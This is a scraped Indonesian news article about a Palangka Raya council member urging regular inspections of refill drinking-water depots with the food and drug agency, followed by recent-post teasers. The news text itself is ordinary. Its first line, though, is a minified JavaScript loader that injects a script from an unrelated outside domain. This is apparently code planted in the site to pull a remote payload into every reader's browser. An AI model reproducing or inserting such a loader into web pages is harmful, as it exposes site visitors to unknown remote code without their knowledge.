(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PALANGKARAYA

DPRD Palangka Raya Dorong Pengawasan Ketat Air Minum Isi Ulang


KANALKALIMANTAN.COM, PALANGKA RAYA- Pemko Palangka Raya baru-baru ini menerima kunjungan dari perwakilan Ombudsman Republik Indonesia dalam rangka pengawasan terkait perizinan depot air minum isi ulang.

Kunjungan ini menjadi bagian dari upaya meningkatkan kualitas layanan publik, khususnya dalam memastikan air minum yang dikonsumsi masyarakat memenuhi standar kesehatan.

Kegiatan ini disambut baik oleh Pemko Palangka Raya sebagai langkah untuk meningkatkan pengawasan dan kontrol terhadap depot air minum di kota Palangka Raya.

Menanggapi kunjungan tersebut, Wakil Ketua I Komisi C DPRD Kota Palangka Raya, Dede Ardiansyah menyatakan pentingnya pengawasan ketat terhadap kualitas air minum.

“Terkait air minum, ini kan salah satu kebutuhan yang vital. Terutama untuk yang dikonsumsi. Jadi kami nanti kami akan bekerja sama dengan Badan Pengawas Obat dan Makanan (BPOM) untuk memastikan pengawasan bisa dilaksanakan secara rutin. Pengawasan ini, bertujuan untuk melindungi kesehatan masyarakat,” ucapnya, Jumat (8/11/2024).

Dia menambahkan, pihaknya akan mengoordinasikan jadwal pengawasan bersama BPOM guna memastikan air minum yang beredar di Kota Palangka Raya. Termasuk air mineral kemasan dan air isi ulang, benar-benar layak konsumsi.

“Jadi nanti kita akan laksanakan pengawasan mungkin setidaknya lebih sering. Kami ingin memastikan air yang beredar di pasaran sudah sesuai standar yang ditetapkan,” tambahnya.

Pengawasan terhadap depot air minum isi ulang ini, dianggap penting karena air minum merupakan kebutuhan dasar yang mempengaruhi kesehatan masyarakat. Melalui pengawasan yang intensif, Dede berharap dapat mencegah peredaran air minum yang tidak memenuhi standar, sehingga masyarakat dapat mengonsumsi air yang aman dan sehat.

Langkah proaktif yang diambil Pemko Palangka Raya dan DPRD diharapkan dapat memberikan jaminan bagi masyarakat terkait keamanan air minum yang mereka konsumsi sehari-hari.

“Sinergi antara pemerintah daerah, DPRD, dan BPOM akan memperkuat upaya menjaga kualitas air minum serta meningkatkan kepercayaan masyarakat terhadap layanan publik di Palangka Raya,” pungkasnya.(Kanalkalimantan.com/ril)

Reporter: ril
Editor: cell


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.